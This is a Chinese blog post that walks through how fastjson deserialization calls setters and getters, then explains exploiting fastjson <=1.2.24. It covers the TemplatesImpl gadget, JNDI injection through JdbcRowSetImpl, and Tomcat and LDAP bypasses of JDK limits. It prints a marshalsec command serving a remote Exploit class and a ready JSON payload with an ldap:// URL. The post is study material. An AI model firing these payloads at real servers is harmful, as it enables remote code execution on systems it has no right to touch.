前言
之前还没有好好的分析过fastjson,每次在实战的时候也比较茫然,不清楚原理拿exp乱打很容易会漏洞。而且一位信奉别人的写的exp并不太好,反序列化漏洞利用涉及到各种版本问题,网上公开的exp拿来学习可以,就实战来说,其全面性还是差点意思。因此自己分析一下fastjson,打打基础,下面开始。
代码分析
首先给一段代码,让大家了解到fastjson的基本用法
com.huahua.DemoUser
1 | package com.huahua; |
com.huahua.Main
1 | package com.huahua; |
输出如下
对照着示例可以看每个方法的作用是什么
先说明一些结论:
1、fastjson在反序列化时会调用部分符合条件的setter和getter方法
2、对于没有setter的可见Filed,fastjson会正确赋值(就是类似public String str这种,就算没有setter方法,fastjson也会正确赋值)
3、对于不可见Field且未提供setter方法,fastjson默认不会赋值,在加上Feature.SupportNonPublicField属性后,fastjson对不可见且未提供setter方法的字段自动赋值(private String str)
着重要说明的是下面两个方法的区别
1 | JSON.parseObject(ser2,Object.class, Feature.SupportNonPublicField); // 会把Json数据没有setter方法的私有类也给还原 |
以上结论在参考链接中的第一个中作者有做实验,大家可以自己跟着做一次,这里只贴了结论。
从我贴图的实验来看,fastjson可以将字符串类型的json数据恢复成一个对象。我们的{“@type”:”com.huahua.DemoUser”,”age”:10,”username”:”sijidou”}就被恢复成了com.huahua.DemoUser类的一个对象,而age和username则是其属性。我们前面列出的三条结论中的第一条就是会通过反序列化调用部分符合条件的setter和getter方法。
下面我们分析漏洞
FASTJSON如何调用到GETTER和SETTER
之前结论说过fastjson会调用到部分符合条件的getter和setter,这个符合条件是什么意思呢。我们先写一个demo,然后跟下去,看fastjson处理流程。
com.huahua.DemoUser
1 | package com.huahua; |
com.huahua.Main2
1 | package com.huahua; |
在JSON.parseObject处下断点,开启动态调试。
进入parseObject方法
然后调用DefaultJSONParser类的parseObject方法
此处的this.lexer是fastjson的一个类似词法解析器的东西,token能决断下一步需要做什么样的解析操作。
最后调用到了derializer.deserialze(this, type, fieldName);
本处的derializer为JavaObjectDeserializer的实体类。
进入deserialze方法后,由于type是Object.class,所以我们最后会执行到parser.parse(fieldName)。我们继续跟入。
调用this.parseObject((Map)object, fieldName)方法
从上面箭头标注的位置,就真正的开始词法解析了,fastjson会剥离出我们字符串中的@type对应的类名,进行实例化。感兴趣的可以跟着解析器看是如何解析的,这里图就不贴了。
我们接下来一直走到318行的this.config.getDeserializer(clazz),这里的clazz已经被解析出来时com.huahua.User了。这个地方和之前说的调用符合条件的getter和setter方法有关,我们跟入方法来看。
最后调用到this.createJavaBeanDeserializer(clazz, (Type)type)
然后调用到JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy)
在build方法内就是重头戏了,fastjson会判断复原类的setter和getter方法是否满足某些条件,满足条件的会被加到一个列表中,后面会进行调用,不满足的则pass。
首先从312到395是判断类中的set方法是否满足条件的,部分内容如下:
methods也就是var30内容如下,可以看到是我们要恢复类中的全部方法。
首先经过了如下的判断:
1 | if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) { |
简单说,如果方法的名字长度>=4并且方法不是静态方法并且(方法的返回值为空或返回值为要恢复的类,在本例中为com.huahua.User) 则进入if方法中。
第二个判断条件,方法的参数必须只有一个,代码如下。
第三个条件,方法必须以set开头,代码如下
最后会调用add加入到一个fieldList里面,代码如下
这样一个关于setter的判断就结束了。关于getter的判断在455到478代码里面,大家可以自己看,下面给出结论。
满足条件的setter:
1 | 方法名长度大于4且以set开头 |
满足条件的getter:
1 | 方法名长度大于等于4 |
我比较懒,重复造句子没有意义。上面结论来自:http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
这一part结束,下面回到下面图片的代码位置,因为我们上次是从this.config.getDeserializer(clazz)进去的,现在这里重要内容分析完了,就继续走流程。首先在JavaBeanDeserializer的285行打一个断点,跟入deserializer.deserialze(this, clazz, fieldName)。
之所以直接在这里下断点,是因为我们之前调用的deserializer.deserialze(this, clazz, fieldName)是一个asm生成的类,我不太清楚这种类如何调试,所以干催打在了其中间调用到了一个方法的位置。
我们发现此时我们的User类已经在asm类中被实例化了。但值都没有赋予,下面跟代码。
一直走到这一步,然后跟入
在这个方法中,fastjson选择了当前要处理的字段的反序列化处理器fieldDeserializer,走到上面箭头处继续跟入。
经过一些处理之后进入到this.setValue(object, value)
取出了this.fieldInfo中的method,在这里就是setAge。也同样可能是setxxx或者getxxx。
最后反射调用
FASTJSON<=1.2.24
首先使用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个gadget,看过我前面cc链分析的应该比较清楚这个gadget。通过将该类的_bytecode填充为恶意类的字节码,就可以做到将字节码恢复为类并实例化,进而触发命令执行代码。
这里使用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个gadget的原因在于该类中有一个getter方法会触发到newTransformer方法,该方法会恢复_bytecode并实例化。这个方法就是getOutputProperties()。他对应的属性字段为_outputProperties,这个属性的类型为java.util.Properties继承了Map,所以满足之前关于调用getter方法的结论。因此如果我们把这个属性在json字符串中加入,最后就可以调用到getOutputProperties()。
触发代码如下
1 | package com.huahua; |
不过我们注意到,这种方法需要对方代码中设置Feature.SupportNonPublicField属性,这个要求比较苛刻。如果对方没设置的话,那么我们只能换种方式利用。
JNDI注入利用
触发代码
1 | package com.huahua; |
查看com.sun.rowset.JdbcRowSetImpl代码,发现其dataSourceName和autoCommit属性都有自身的setter方法,所以在没有Feature.SupportNonPublicField的支持下也可以恢复。
流程:
1、编译一个Exploit.class,内容如下,注意不能有包名。编译好之后把Exploit.class(而非Exploit.java)上传到vps上,启动VPS的web服务,把Exploit.class放在web能访问到的地方,这里我放在了根目录。
1 | public class Exploit { |
2、启动RMI或者LDAP服务器,可以使用marshalsec进行快速启动
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.50.131:8000/#Exploit 9999 |
3、运行触发代码,注意要使用符合要求的jdk,因为jndi注入是由jdk版本限制的
在tomcat环境下绕过jndi注入的jdk限制
pom.xml
1 | <?xml version="1.0" encoding="UTF-8"?> |
启动一个RMIServer
1 | package com.huahua.RMI; |
触发代码就是jndi的触发代码。这种方式是利用的目标服务器本地的classpath中存在tomcat的包,恶意的rmi服务器返回了一个reference,该reference的factory为org.apache.naming.factory.BeanFactory,通过这个工厂实例化出了一个恶意类进而执行命令。
通过ldpa设置存储java对象为javaSerializedData绕过jndi
ldap Server代码
1 | package com.huahua.LDAP; |
base64中的代码为二进制数据,在客户端lookup之后会在客户端进行反序列化,这里的数据是cc链的序列化内容,如果目标存在common-collections3.1就会弹出计算器。
触发代码
1 | String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}"; |
参考链接
https://www.lz80.com/4652.html
https://www.freebuf.com/column/207439.html
http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/